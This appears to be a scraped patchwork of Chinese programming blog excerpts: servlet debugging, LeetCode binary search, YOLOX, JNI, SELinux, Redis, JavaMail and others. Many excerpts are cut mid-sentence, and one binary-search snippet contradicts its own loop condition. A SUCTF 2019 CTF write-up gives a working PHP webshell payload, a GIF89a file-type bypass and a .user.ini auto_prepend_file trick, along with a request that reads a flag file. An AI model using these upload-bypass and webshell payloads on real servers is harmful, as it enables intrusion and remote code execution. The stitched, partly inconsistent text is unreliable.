child = 2 * parent + 1 # left child while child < len(heap): if child + 1 < len(heap): if heap[child + 1] > heap[child]: child += 1 # right child if heap[parent] >= heap[child]: break heap[parent], heap[child] = \ heap[child], heap[parent] parent, child = child, 2 * child + 1 heap, array = array.

DeBUG|实例化servlet类xxxx异常

今天学servlet,发现在做测试的时候出现了一个异常,如题目,具体报错如下: 很慌,没遇到过这种情况.. 展开分析: 报错名称翻译成中文叫:实例化servlet类异常 哦,原来错误出在servlet类实例化的上面了,看来不是我html代码或者其他什么写错了,那么分析点集中在servlet上面,再往下看,这个HelloServlet实例化出错了,那么问题出在哪里呢?再玩下看,ClassNotFoundException,这个异常,emm,原来是没有找到class,为什么没有找到class呢?我明明些了这个class,是不是我的xml写错了?回去检查xml,发现写的很正确,没错。那么错出在哪?代码再次检查,都与案例相同,那么问题就很简单了,问题出在大环境上面了,可能是1)tomcat版本和JDK不适配;2)动态web工程设置错误;3)tomcat配置不正确; 1)查看tomcat版本以及相应的JDK,发现是相匹配的,遂排除。 2)教程中是直接就从idea里面选择了Java EE中的web,但是我这个idea里面没有,怎么办?百度一下看看如何设置动态web工程,查到了,在模块上右击,选择Add Framework Support,这里面有,添加上,好的,设置成功,虽然和教程上看上去有点不一样;先这样吧,如果有问题再从这里找。 3)重新配置tomcat,先把原来的路径删除,删除的时候看到,哦,原来的路径是有问题的,怎么直接配到bin目录了,而且目录里面还有空格(虽然空格好像没事,但是还是去掉的好),好的,重新配置完成,再添加部署web到里面,重看教程,哦,原来是选择artifact,而不是我之前选的external source,好的,这个可能也是出问题的原因,改掉改掉。 好的,修改完毕,试一下,run bingo,好滴,成功! 虽然不知道问题具体出在那个地方,是为什么出来,但是我这个寻找bug并且debug的过程也是收益良多(花了好几个小时解决),至于到底是哪里出了问题,现在先不追求,等以后熟悉了再回过头来看这篇文章,以达到温故知新,知根知底的目的。 先这样了,886。 2022年2月9日 晚十点 --- 稍微检查了下,问题是出现tomcat部署上面,应该是artifact,选其他的不行,至于为什么,目前还不知道,到时候再看。 2022年2月10日 09点19分

openresty更改状态码

因为以前restful返回用了http的状态码4xx,在有些环境中,slb会根据状态码来进行拦截汇总处理,只好在openresty将对应的状态码更改为200,绕过这个限制,主要增加配置: header_filter_by_lua ' if ngx.status >= 400 and ngx.status < 500 then ngx.status = 200 --修改状态码 end '; 参考:ngx.status 修改返回状态码和返回头 · jinghua

安装clickhouse后namenode无法启动

一次启动hadoop集群发现namenode始终无法启动,找了很多方法后,发现是新安装的clickhouse占用了9000端口,导致namenode无法启动 解决方法: netstat -lnp | grep 9000 然后kill -9 杀死9000端口的进程号 之后就可以正常启动namenode了

2021-11-10 YOLOX训练最新笔记总结(coco格式)

1. 数据准备 如下图所示,训练图片images的格式尺寸可以不等: 标签label(.txt)一个文件对应一个txt文件: labellmg 标注可以直接导出 .txt文件 一一对应的格式,如图: 上图换了个任务标签,细节不要在意,意思到就行~ 如果是labelme生成的Json文件,like this: json转化一下txt: import json import os name2id = {'advertisement': 0} # 此处为类别id # name2id = {'person':0,'helmet':1,'Fire extinguisher':2,'Hook':3,'Gas cylinder':4} # def convert(img_size, box): dw = 1. / (img_size[0]) dh = 1. / (img_size[1]) x = (box[0] + box[2]) / 2.0 - 1 y = (box[1] + box[3]) / 2.0 - 1 w = box[2] - box[0] if w < 0: w = box[0] - box[2] h = box[3] - box[1] if h < 0: h = box[1] - box[3] x = x * dw w = w * dw y = y * dh h = h * dh return (x, y, w, h) def decode_json(json_floder_path, json_name): txt_name = txt_floder_path + json_name[0:-5] + '.

LeetCode|【34 在排序数组中查找元素的第一个和最后一个位置】

34.在排序数组中查找元素的第一个和最后一个位置 题目分析 题目中说到时间复杂度为 O(log n) 的算法,以及题目中为有序数组,自然想到二分法 个人更喜欢区间为[left, right]的情况 此时循环条件是left<=right,当right<left时会跳出循环 由于left增大,right减小,所以找右边的数时借助left,找左边的数时借助right 这里题目中,需要去找给定目标值在数组中的开始位置和结束位置 可以借助left和right分别去找左边界(开始位置的左边,也就是最后一个<target的位置)和右边界(结束位置的右边,也就是第一个>target的位置) 寻找左边界 当target < nums[mid]时,说明目标值在中间值的左侧区间,需要让right=mid-1 当target > nums[mid]时,说明目标值在中间值的右侧区间,需要让left=mid+1 当target = nums[mid]时,由于要找的是左边界,不知道左侧区间是否还有=nums[mid]的值,所以要再去左侧区间找,需要让right=mid-1,最终right会停在开始位置的左边,也就是最后一个<target的位置 int left = 0; int right = nums.size() - 1; while (left < right) { int mid = (left + right) / 2; if (target < nums[mid]) right = mid - 1; else if (target > nums[mid]) left = mid + 1; else right = mid - 1; } return right; 寻找右边界 当target < nums[mid]时,说明目标值在中间值的左侧区间,需要让right=mid-1

LeetCode|【35 搜索插入位置】

35.搜索插入位置 题目分析: 这道题的意思就是 当目标值在数组中时是搜索问题,当目标值不在数组中时是插入问题,可以全都看作插入问题来思考,插入位置有四种情况: 1.目标值插入在数组最前面 2.目标值插入在某个数组元素上 3.目标值插入在两个数组元素之间 4.目标值插入在数组最后面 暴力法: class Solution { public: int searchInsert(vector<int>& nums, int target) { for(int i = 0; i < nums.size(); i++){ if (target <= nums[i]){ return i; } } return nums.size(); } }; 空间复杂度O(1) 时间复杂度O(n) 二分法: 看到题目中说使用时间复杂度为O(log n)的算法,以及题目中为有序数组,自然想到二分法 1.目标值插入在数组最前面 插入2。 left=0,right=3; mid=1,left=0,right=0; mid=0,left=0,right=-1; 跳出循环,应该返回0,也就是left或者right+1; 2.目标值插入在某个数组元素上 插入5。 left=0,right=3; mid=1,返回1,也就是mid; 3.目标值插入在两个数组元素之间 插入7。 left=0,right=3; mid=1,left=2,right=3; mid=2,left=3,right=3; mid=3,left=3,right=2; 跳出循环,应该返回3,也就是left或者right+1; 4.目标值插入在数组最后面 插入9。 left=0,right=3; mid=1,left=2,right=3; mid=2,left=3,right=3; mid=3;left=4,right=3; 跳出循环,应该返回4,也就是left或者right+1 class Solution { public: int searchInsert(vector<int>& nums, int target) { int left = 0; int right = nums.

LeetCode|【704 二分查找】

704.二分查找 二分查找 使用二分法的前提条件: 1.数组为有序数组 2.数组中无重复元素 区间的定义有两种写法:左闭右闭 [left,right] 和 左闭右开 [left,right),由此二分法也有两种写法: 1.target在 [left,right] 区间 class Solution { public: int search(vector<int>& nums, int target) { int left = 0; int right = nums.size() - 1; while (left <= right){ int mid = (left + right) / 2; if(target < nums[mid]) right = mid - 1; else if(target > nums[mid]) left = mid + 1; else return mid; } return -1; } }; 2.

[SUCTF 2019]CheckIn 1

知识点:exif_imagetype() 、 .user.ini 文章目录: 题解参考 题解 文件上传,我们传一个带一句话马的图片 <?php @eval($_REQUEST['cmd']);?> 但是它提示我们不能有<?,那我们就换一种 <script language="php">eval($_REQUEST['cmd']);</script> 在这边,它用了一个exif_imagetype函数来判断文件类型。 平时简单一点的文件类型检查就是$_FILES[“file”][“type”],这种我们改一下后缀就行了。 但是exif_imagetype() 读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE,比如我们传个.gif的文件,它返回值是IMAGETYPE_GIF。 各类型对应头字节: JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)GIF:47 49 46 38 39 61(ascll值是GIF89a)PNG: 89 50 4E 47 所以我们只要在我们的一句话马前加上GIF89a就行了 GIF89a <script language='php'>eval($_REQUEST['cmd']);</script> 在把‘’这个文件上传 但现在传上去的只是一张图片,我们要把它解析成php。 这里可以用.user.ini。 php.ini大家都熟悉,是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种: PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER 而.user.ini可以看成用户自己定义的php.ini,并且在php配置项中有两个项: auto_prepend_file和auto_append_file 相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数 auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入。 然后创建.user.ini文件上传: GIF89a auto_prepend_file=she.jpg 然后payload,执行命令: /uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php?cmd=var_dump(file_get_contents("/flag")); uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php 原因:.user.ini中auto_prepend_file=she.jpg会在执行index.php前把she包含进来,且解析为php格式 参考 .user.ini 高诺琪

java调用C++ dll

java调用C++ dll 使用IDEA新建一个名为Java2cpp的Java工程,并且使用模板。 用native关键字包裹需要用到的C++中的函数 package com.log.jni; public class Java2cpp { public native void LOG_LOAD_CONFIG(String address); public native void LOG_DEV_INFO_2(String name,int uid,String des); public native void LOG_DEV_WARNING_2(String name,int uid,String des); public native void LOG_DEV_ERROR_2(String name,int uid,String des); public native void display(); public static void main(String[] args){ String log="D:\\UIH\\appdata\\MicroCT\\Console\\LogConfig\\TestLog.xml"; Java2cpp test=new Java2cpp(); test.LOG_LOAD_CONFIG(log); test.LOG_DEV_INFO_2("TestLog.xml",0x9999,"ysl"); test.LOG_DEV_WARNING_2("TestLog.xml",0x9999,"rose"); test.LOG_DEV_ERROR_2("TestLog.xml",0x9999,"jack"); test.display(); } } 运行:javac Java2cpp.java --生成.class文件 javac -h ./ Java2cpp.java --生成.h文件 使用vs新建一个静态库项目,名为DllLog 将Java工程中生成的.h文件复制到DllLog文件下 找到Java安装路径下的include文件复制jni.h include下win32中的jawt_md.h jni_md.

如何在CentOS7上禁用或关闭SELinux

介绍 SELinux 是内置于 Linux 内核中的强制访问控制 (MAC) 执行器。它限制了可能对系统构成威胁的个别服务的权限。 没有 SELinux 的 CentOS 系统依赖于其所有特权软件应用程序的配置。单个错误配置可能会危及整个系统。 为什么禁用 SELinux 并非所有应用程序都支持 SELinux。因此,SELinux 可以在软件包的正常使用和安装过程中终止必要的进程。在这些情况下,我们建议你关闭此服务。 在 CentOS 上禁用 SELinux 的步骤 第 1 步:检查 SELinux 状态 SELinux 服务在 CentOS 和大多数其他基于 RHEL 的系统上默认启用。 首先使用以下命令检查系统上 SELinux 的状态: sestatus 下面的示例输出表明SELinux 已启用。状态显示服务处于强制执行 模式。 SELinux 状态的输出示例 SELinux 可能会阻止应用程序的正常运行。如果出现以下情况,服务将拒绝访问: 文件标签错误。 不兼容的应用程序尝试访问被禁止的文件。 服务在不正确的安全策略下运行。 检测到入侵。 如果你发现服务未正确运行,请检查 SELinux 日志文件。日志位于/var/log/audit/audit.log中。最常见的日志消息标有AVC。如果找不到任何日志,请尝试查看/var/log/messages。如果auditd守护程序未运行,系统会将日志写入该文件。 第 2 步:禁用 SELinux 1:暂时禁用 SELinux 暂时禁用 SELinux,请在终端中输入以下命令: sudo setenforce 0 在sudo setenforce 0中,你可以使用permissive而不是 0。 此命令将 SELinux 模式从target改为permissive。

一文详解NDT算法实现

点击上方“3D视觉工坊”,选择“星标” 干货第一时间送达 作者丨paopaoslam 来源丨 泡泡机器人SLAM 、PCL源码 编辑丨玉玺、lionheart 摘要 NDT(Normal-Distributions Transform)算法与ICP算法一样是点云配准中常用的经典算法之一,本文对PCL中NDT代码的实现做一个简单的解析,希望对用到NDT的同学有所帮助。 NDT算法的基本原理在之前的文章中已经介绍过,在这里不再赘述,篇幅有限,本文没有贴出大量源码,仅对源码中重要的函数做相应解析。 图1 NDT 地图示意图 官网示例教程 PCL官网给出了NDT算法的示例教程(https://pointclouds.org/documentation/tutorials/normal_distributions_transform.html#),例程中算法输入几个参数的含义: 1、ndt.setTransformationEpsilon (0.01);//设置NDT迭代收敛阈值,即迭代增量的大小,相当于牛顿法中的delata_x,阈值越小,迭代次数越多; 2、ndt.setStepSize (0.1);//Ndt使用了More-Thuente线性搜索[2]求解位姿增量,这里设置搜索的步长; 3、ndt.setResolution (1.0);//设置NDT网格的分辨率; 4、ndt.setMaximumIterations (35);//设置最大迭代次数; 跑PCL例程时可能有的同学遇到过跑出来的结果匹配不好的情况,如图2所示, 图2 官网数据NDT匹配不佳效果示意图 后面会从代码实现上对这个现象做相应分析。 主要实现代码(PCL 1.12.0) 1、创建NDT地图。 NDT的原理是把Target点云按照固定的分辨率划分成3d网格,并计算出每个3d网格点云的分布情况,计算Source点云在Target分布的概率来计算点云的匹配关系的,因此首先需要创建NDT地图。 在setInputTarget时便会先进入初始化函数init(); 初始化的主要工作就是把Target点云按照输入的分辨率划分到3d网格中,并计算每个网格的均值与协方差,该过程实现在: pcl/filters/impl/voxel_grid_covariance.hpp 的applyFilter函数中,整个计算过程比较容易懂,在看源码的过程中可能有问题的在于协方差的计算上,这里pcl协方差的计算在1.12.0版本之前有错误,最后协方差应该是乘以n/(n-1),但是实现写反了如图3所示。 图3 1.7版本NDT协方差计算实现代码截图 图4 1.12.0版本NDT协方差计算代码实现截图 这个问题在pcl1.12.0版本给出了修复,如图4所示。这里为了减小计算量,把协方差计算的公式展开了,简单推导如下(以二维协方差矩阵计算为例): 2、计算变换矩阵 计算Source点云与Target点云间的变换矩阵,主要在 pcl/registration/include/pcl/registration/impl/ndt.hpp 的computeTransformation的函数中。实现中有几个重要的部分: (1)Source点与Target网格的关联。虽然可以根据匹配初值以及Target网格生成的相关信息(坐标原点,分辨率)直接计算出Source里的每个点落在哪个网格里,但是算法实现时仍然采用了kdtree索引的方式搜索每个Source点与Target网格(即网格中心)的关系。主要在computeDerivatives与computeHessian函数中radiusSearch来实现。 图5 ndt近邻搜索代码截图 之所以不直接计算索引而要使用kdtree查找近邻,猜测一个主要的原因是为了一定程度上避免初始误差较大时过多的source点落入空网格或错误网格而无法建立有效的约束,导致算法无法收敛到最优解附近的问题。 但是,图5中有一个细节,radiusSearch输入的搜索半径为resolution_,该变量为setResolution()函数传入的ndt网格分辨率的变量,即搜索半径设定为一个网格分辨率的搜索半径,所以当初始误差大于网格分辨率时,同样可能会导致算法无法收敛到最优解附近,这也是导致官网例程没有收敛的原因(如图2)之一。 可以试下把初值的平移误差减小,设置为:(1.79387, 0, 0),如图6所示, 图6 修改官网例程初值示意图 修复初值后的收敛效果如图7所示,可见明显优于图2。 图7 修复初值后NDT官网例程配准效果 (2)代价值的计算。PCL中NDT实现的原理,参考的是《The Three-Dimensional Normal-Distributions Transform 》这篇论文。代价函数的计算在代码updateDerivatives()函数中,如图8所示。 图8 PCL NDT代价值计算代码实现截图 可以看到,完全是论文中公式6.9的实现。 该公式即为单个激光点NDT匹配的代价函数计算公式。熟悉概率论的同学可以看出这个公式就是一个多维正态分布的极大似然函数,其实NDT匹配计算的本质就是一个多维正态分布的极大似然估计。 3、迭代优化。

小程序获取用户信息的两种方法

小程序获取用户信息的两种方法 第一种使用 getUserProfile代码示例 第二种使用 头像昵称填写 相信大家之前也经常使用open-data获取用户的头像和昵称吧,但微信的这个改编意味着我们要使用新的方法获取信息了。在讨论区引发了很大的讨论,接下来我们一起尝试两种获取信息的方法。 第一种使用 getUserProfile 我们可以查看一下官方文档 wx.getUserProfile(Object object),获取用户信息。页面产生点击事件(例如 button 上 bindtap 的回调中)后才可调用,每次请求都会弹出授权窗口,用户同意后返回 userInfo。但要注意每次都需要授权一次是不是很麻烦,我们可以将他保存在我们数据库中授权一次日后直接调用。 代码示例 <view class="container"> <view class="userinfo"> <block wx:if="{{!hasUserInfo}}"> <button wx:if="{{canIUseGetUserProfile}}" bindtap="getUserProfile"> 获取头像昵称 </button> <button wx:else open-type="getUserInfo" bindgetuserinfo="getUserInfo"> 获取头像昵称 </button> </block> <block wx:else> <image bindtap="bindViewTap" class="userinfo-avatar" src="{{userInfo.avatarUrl}}" mode="cover"></image> <text class="userinfo-nickname">{{userInfo.nickName}}</text> </block> </view> </view> Page({ data: { userInfo: {}, hasUserInfo: false, canIUseGetUserProfile: false, }, onLoad() { if (wx.getUserProfile) { this.setData({ canIUseGetUserProfile: true }) } }, getUserProfile(e) { wx.

SpringAOP简单理解

1 SpringAOP是什么? Aspect Oriented Programming:面向切面编程,是通过预编译方式和运行期动态代理的方式实现程序功能统一维护的一种技术。 SpringAOP:AOP是一种技术,或者说是一种编程思想,其中Spring框架集成实现了AOP此种思想,SpringAOP在底层实现了自动的封装动态代理过程,使得我们在应用过程中只需要关注逻辑业务代码的编写和配置。 2 SpringAOP的优劣势 2.1 优势 SpringAOP优势在于解耦,减少代码编写,提高开发效率,在不修改源代码的情况下对方法进行增强 2.2 缺点 3 底层实现 底层是依靠Spring提供的动态代理技术实现的,运行期间,Spring通过动态代理技术动态生成代理对象,代理对象方法在执行时相应的通知/增强方法进行及时介入,从而完成功能的增强。 这里是目标增强方法所在类生成一个代理类。 4 动态代理技术 常用的动态代理技术分为两种①JDK代理②cglib代理 ①JDK:基于接口的动态代理技术,需求目标增强方法所在类有接口 ②cglib:基于父类的动态代理技术,没有接口的基于此类技术 在实际开发中我们只需要配置即可,不用去专注其中的过程 5 常用术语 Target:目标对象,代理的目标对象(需要被增强方法的对象) Proxy:代理, joinpoint:连接点,在Spring中,指的是方法。 pointcut:切入点,被选中需要进行增强的方法才是切入点;pointcut包含于joinpoint Advice:通知/增强方法,切面类中的方法,用于增强切入点 Aspect:切面,切入点+通知的组合 Weaving:织入,是指把增强应用到目标对象来创建新的代理对象的过程,Spring采用动态代理织入,而AspectJ采用编译期织入和类装载期织入 6 一般开发过程 编写的内容:1 编写核心业务代码 2 编写切面类(包含增强方法) 3 配置文件中,配置织入关系 AOP技术实现的过程:Spring框架监控切入点方法的执行,一旦监控到切入点方法被运行,使用代理机制,动态创建目标对象的代理对象,根据通知类别,在代理对象的对应位置,将通知对应的功能织入,完成完整的代码逻辑运行。 AOP底层代理实现方式:1 JDK 2 cglib 会优先使用JDK,如果没有则使用cglib 7 XML配置方式快速入门 1 导入AOP相关坐标 spring-context aspectjweaver 2 创建目标接口和目标类 3 创建切面类(增强/通知) 4 配置,将目标类和切面类的对象创建权交给SpringIOC容器管理 5 在applicationContext.xml中配置织入关系 6 测试代码 8 XML配置详解 切点表达式的写法: execution([权限修饰符]返回值类型 包名.类名.方法名(参数)) 访问修饰符可以省略 返回值类型、包名、类名、方法名可以使用星号*代表任意

OS内核参数(SEM)在高负载的Oracle数据库中如何设置

点击上方"蓝字" 关注我们吧! 概述 文章主要围绕OS内核参数kernel.sem来讲解。在各类DB(ORA、PG、MYSQL等)安装手册中都会引导大家设置sem这个参数,很多初中级DBA大多是照本宣科并不明白其中含义,更不清楚如何设置才是正确的,在真实的高负载生产环境中未正确设置这个参数真的会产生“生产事故”。写本文的目的是引导DBA同仁避免和我一样踩到信号量的坑里去。 01 参数含义 kernel.sem = SEMMSL SEMMNS SEMOPM SEMMNI SEMMSL: Maximum number of semaphores per set(每个信号量组中信号量最大数量) SEMMNS: Maximum number of semaphores system-wide(整个Linux系统中所有信号量的最大数量,建议是第1和第4个数字的乘积) SEMOPM: Maximum number of semaphore operations per system call(每次semop系统调用可以同时执行的最大信号量操作的数量semopm。由于一个信号量组最多拥有SEMMSL个信号量,推荐将SEMOPM设置为SEMMSL的值) SEMMNI: Maximum number of semaphore sets for the entire Linux system(设置系统中信号量组的最大数量) 02 查看当前的信号量方法 # cat /proc/sys/kernel/sem 250 32000 32 128 (这几个值分别是:SEMMSL, SEMMNS, SEMOPM, and SEMMNI) 接下来我详细描述一下自己遇到的两个真实案例。 案例1:信号量设置过小引发的链接故障 背景:这是一套客户的核心RAC 2节点数据库,日常会话连接数稳定在12000左右。2019年12月3日凌晨因数据库session连接激增,单节点会话增加到164xx的时候就无法继续增加连接,而我们的process限制为30000。 贴出当时环境的会话连接信息: 查看当时alert日志: 节点1: Process m000 died, see its trace file Process m000 died, see its trace file 2019-12-03T01:26:04.

加快机器人落地步伐,INDEMIND推出标准化机器人AI解决方案

“解决机器人行业发展过程中落地周期长、智能程度低等常态化问题,INDEMIND推出标准化机器人AI解决方案,全面整合行业需求,覆盖商用/家用各种场景,服务全品类机器人。” 近两年来,随着进入后疫情时代,非接触式商业经济加速发展,服务机器人市场整体得到显著增长。根据IFR数据显示,2016 年以来,我国服务机器人市场规模年平均增长率达到27.5%,2021年预计达到了302.6亿元,到2023 年,我国服务机器人市场规模有望突破600 亿元。 然而,需要注意的是,尽管市场规模不断扩大,产业内部问题也越发凸显,一方面产业发展呈现出部分赛道拥挤,整体发展失衡的趋势;另一方面,产业链基础薄弱,核心技术缺失,导致产品落地周期较长的同时,大多数产品普遍智能化程度低、功能表现较差。多重因素使得产业发展潜力难以稳速释放,而这些因素的背后,技术则是关键原因。 机器人产业,高技术门槛是其显性特征。以机器人的自主导航技术为例,它本身包含了SLAM、感知、地图构建、路径规划、组合导航等多种关键技术,仅完成它的研发就需要机器人企业投入大量的精力和财力,而这意味着产品从研发到落地需要极长的周期。与此同时,面对市场需求更新加快,倒逼产品升级速度不断提升,企业为了应对投资方与自身运营压力,一旦开始急于变现,长期以往,会导致产品掌控力不断下降。 市场在发展,问题在发酵,该如何解决这一难题? INDEMIND给出了自己的答案。 作为国内布局最早的机器人关键AI技术供应商之一,INDEMIND已经深耕行业多年,拥有的立体视觉技术、低速自动驾驶技术已达到国际领先水平,并获得国家高新技术企业认证,拥有深厚的技术积累。立足于机器人产业链上游,INDEMIND为整个机器人行业提供通用的、可靠的、低成本的机器人AI技术、主控电脑及关键传感器,降低行业门槛,加速机器人产品化,助力整个行业发展。 机器人解决方案中的“新代目” 目前,市面上并不缺少第三方技术方案,但它们普遍都有着各自的局限性,功能性单一、缺少智能化技术、适配性较低等等,且方案价值依旧停留在满足机器人产品从0到1 的过程性需求,这对于企业而言,显然已无法解决产品升级带来的新需求。 因此,INDEMIND通过对自身技术接轨融合,结合对各细分市场的长期追踪,及对场景的深入理解,充分整合行业需求,将技术优势快速转化为产品优势,在2021年推出了两款“新代目”机器人解决方案,RBN10家用机器人AI解决方案和RBN100商用机器人AI解决方案。 两款方案基于INDEMIND标准化框架和对市场的先见性基础上,进行了整体化和系统性研发,保证了方案的先进性和成熟度,在解决产品基础性需求的同时,实现对机器人从0到1后的更多功能开发,满足企业对新产品或已有产品的研发、升级等需求,真正解决机器人企业的核心问题。 在功能实现上,两款产品是以INDEMIND OS为核心,搭配INDEMIND开发的标准化模组套件(包含传感器、计算单元、控制硬件),能够根据场景需求,灵活组配,实现自主导航、智能避障、AI识别、人机交互、智能决策等多种关键能力,全面覆盖商用/家用各种场景,服务全品类机器人,加快机器人落地步伐。 “INDEMIND OS面向机器人的底层AI系统,能够赋能机器人AI能力,可为机器人提供完整、可靠的传感器数据处理、AI算法融合及业务逻辑执行能力,可为导航定位、图像识别、路径规划、智能决策等核心功能提供底层算法支持。” 针对当前各赛道的机器人企业需求,INDEMIND标准化机器人AI解决方案能够提供更先进的导航能力、智能实现功能以及成熟的硬件参考设计和量产设计等服务,结合INDEMIND多年的产业链资源,能够帮助企业降低研发门槛,缩短验证和量产周期,实现原有产品升级和标准化产品满足非标市场需求的目的。 在应用表现上,配合INDEMIND标准化服务流程,企业拿到样机预期30天,最终量产预期100天,平均可缩短6-9个月的研发时间,节省80%接近千万级的研发成本。此外,采用以双目立体视觉为核心的导航模块,导航成本还可最多下降70%,整机成本可最多下降40%。而节省下的资金和时间可投入到机器人的业务层研发,提升业务能力。 目前,两款产品从2021年正式推向市场,RBN100商用机器人AI解决方案不到一年时间就已形成多个大规模行业订单,得到客户的广泛验证,同时,RBN10家用机器人解决方案也和国内行业巨头达成多个合作订单,INDEMIND已成为国内最大的机器人关键AI技术供应商之一。

Redis 请求缓存简单了解下

希望能对正在学习java的朋友提供一点帮助 package com.xxxx.demo; import com.fasterxml.jackson.annotation.JsonAutoDetect; import com.fasterxml.jackson.annotation.JsonTypeInfo; import com.fasterxml.jackson.annotation.PropertyAccessor; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.jsontype.impl.LaissezFaireSubTypeValidator; import org.springframework.cache.annotation.CachingConfigurerSupport; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.data.redis.cache.*; import org.springframework.data.redis.connection.RedisConnectionFactory; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.data.redis.serializer.GenericJackson2JsonRedisSerializer; import org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer; import org.springframework.data.redis.serializer.RedisSerializationContext; import org.springframework.data.redis.serializer.StringRedisSerializer; import java.time.Duration; @Configuration public class RedisConfig extends CachingConfigurerSupport { /* RedisConnectionFactory 工厂有两种方式 1 jedis 2,lettuce redis本身默认基于jdk的序列化 压缩大小是比json 小大约五倍左右 需要从写序列化 */ @Bean public RedisTemplate<String,String> getRedisTemplate(RedisConnectionFactory redisConnectionFactory){ RedisTemplate<String,String> template =new RedisTemplate<String, String>(); //Object.class在反序列化的时候不设置ObjectMapper 会生成linkedHashMap类型 返回纯json数据 Jackson2JsonRedisSerializer jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer(Object.

conditional layer normalization

一、Layer Normalization公式 1)计算各层的期望μ和标注差σ l表示第l个隐藏层,H表示该层的节点数,a表示某一个节点在激活前的值,即a=w*x。 2)标准化 g和b分别表示增益和偏置参数,可以纳入训练随样本一群训练。 3)加入激活函数输出 二、Conditional Layer Normalization 这个思路主要来源于苏剑林的博客基于Conditional Layer Normalization的条件文本生成 比如先确定类别,然后按类别随机生成文本,也就是Conditional Language Model;又比如传入一副图像,图像就是前提条件,来生成一段相关的文本描述,也就是Image Caption。 具体实现,将条件通过不同的矩阵变换(即线性映射)分别变成和上述公式中g和b一样的维度,然后将变换结果加到g和b上去:

用户表要包含什么字段?

字段就是信息。要分析包含什么字段,就是要考虑网站需要什么信息。所以界面很重要,什么样的界面决定了要显示和包含什么样的信息。一般而言,没有显示的信息都是没有任何意义的。信息与界面密不可分。

JavaMail发送邮件

通过指令自动化的发送邮件 提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 通过指令自动化的发送邮件 前言一、Mail(邮件)二、使用步骤1.引入库2.开启邮件服务商:POP3/SMTP服务发送QQ邮箱发送网易邮箱 总结 前言 JAVA作为BackEnd实现邮件的定时发送,批量发送对很多业务场景有这重要的意义。例如:给用户发送发票、订阅、广告、数据的报表推送、验证账号、验证码、定时回复等等业务场景均需要该功能。因此,简单总结了下自动化发送的注意点,及实现逻辑,望大家指正。原先的文章进行更新 javaMail发送邮件 正文内容 一、Mail(邮件) 电子邮件是—种用电子手段提供信息交换的通信方式,是互联网应用最广的服务。通过网络的电子邮件系统,用户可以以非常低廉的价格(不管发送到哪里,都只需负担网费)、非常快速的方式(几秒钟之内可以发送到世界上任何指定的目的地),与世界上任何一个角落的网络用户联系。 电子邮件可以是文字、图像、声音等多种形式。同时,用户可以得到大量免费的新闻、专题邮件,并轻松实现轻松的信息搜索。电子邮件的存在极大地方便了人与人之间的沟通与交流,促进了社会的发展。 邮件是基于SMTP协议的一种传输方式。 SMTP协议的工作过程可分为如下3个过程: 建立连接:在这一阶段,SMTP客户请求与服务器的25端口建立一个TCP连接。一旦连接建立,SMTP服务器和客户就开始相互通告自己的域名,同时确认对方的域名。邮件传送:利用命令,SMTP客户将邮件的源地址、目的地址和邮件的具体内容传递给SMTP服务器,SMTP服务器进行相应的响应并接收邮件。连接释放:SMTP客户发出退出命令,服务器在处理命令后进行响应,随后关闭TCP连接。 邮件可以包括主题,标题、内容、附件等,附件包括音视频等各种文件类型。 二、使用步骤 1.引入库 build.gradle(示例): // https://mvnrepository.com/artifact/com.sun.mail/javax.mail compile group: 'com.sun.mail', name: 'javax.mail', version: '1.6.2' Maven(示例): <!-- https://mvnrepository.com/artifact/com.sun.mail/javax.mail --> <dependency> <groupId>com.sun.mail</groupId> <artifactId>javax.mail</artifactId> <version>1.6.2</version> </dependency> 2.开启邮件服务商:POP3/SMTP服务 (以QQ邮箱为示例): 发送QQ邮箱 进入QQ邮箱,选择设置–>账户,找到 开启服务:POP3/SMTP服务,QQ会要求你发送XX短信到指定号码,发送成功后,QQ会返回一个授权码,用于第三方登录使用,授权码一定要记住,后面程序发送邮件要用,再次登录,他就不显示了。 package com.xxx.xxx.utils; import com.sun.mail.util.MailSSLSocketFactory; import org.apache.commons.lang.StringUtils; import javax.activation.DataHandler; import javax.activation.DataSource; import javax.activation.FileDataSource; import javax.mail.*; import javax.mail.internet.*; import java.io.UnsupportedEncodingException; import java.security.GeneralSecurityException; import java.util.Properties; /** * * Created by jambestwick1988@gmail.

Vue项目中出现cannot get/的解决办法

vue项目中出现cannot get/的解决办法之一_tiantiandashi的博客-CSDN博客_cannot get 听说是要重装安装request模块,执行: npm remove request npm install requset 搞定!感动天感动地。 npm run dev,去浪~ 也可能是请求接口的文件有问题,看看是否是改了名字

STM32标准帧和扩展帧的发送

说明 CAN2.0A是标准协议,而CAN2.0B是扩展协议(针对扩展帧)。标准帧的ID为11位,扩展帧的ID为11+18=29位。它们之间最大的区别就是帧ID变长了。 疑问 在stm32中标准帧和扩展帧是怎么发送的?它们之间是怎么判断区分的呢? 发送过程分析 can的发送数据一般设置如下: CanTxMsg TxMessage; TxMessage.StdId=StdId; // 保存标准帧ID TxMessage.ExtId=ExtId; // 保存扩展帧ID TxMessage.IDE=CAN_ID_EXT; // 判断标准帧/扩展帧标识 TxMessage.RTR=0; // 无关紧要 TxMessage.DLC=len; // 数据长度 在库函数中: uint8_t CAN_Transmit(CAN_TypeDef* CANx, CanTxMsg* TxMessage) { ... /* Set up the Id */ if (TxMessage->IDE == CAN_Id_Standard) { assert_param(IS_CAN_STDID(TxMessage->StdId)); CANx->sTxMailBox[transmit_mailbox].TIR |= ((TxMessage->StdId << 21) | \ TxMessage->RTR); } else { assert_param(IS_CAN_EXTID(TxMessage->ExtId)); CANx->sTxMailBox[transmit_mailbox].TIR |= ((TxMessage->ExtId << 3) | \ TxMessage->IDE | \ TxMessage->RTR); } } 从代码中可以看到是通过TxMessage->IDE == CAN_Id_Standard来判断发送标准帧呢还是扩展帧呢?

最全的阿里面试经验(一)

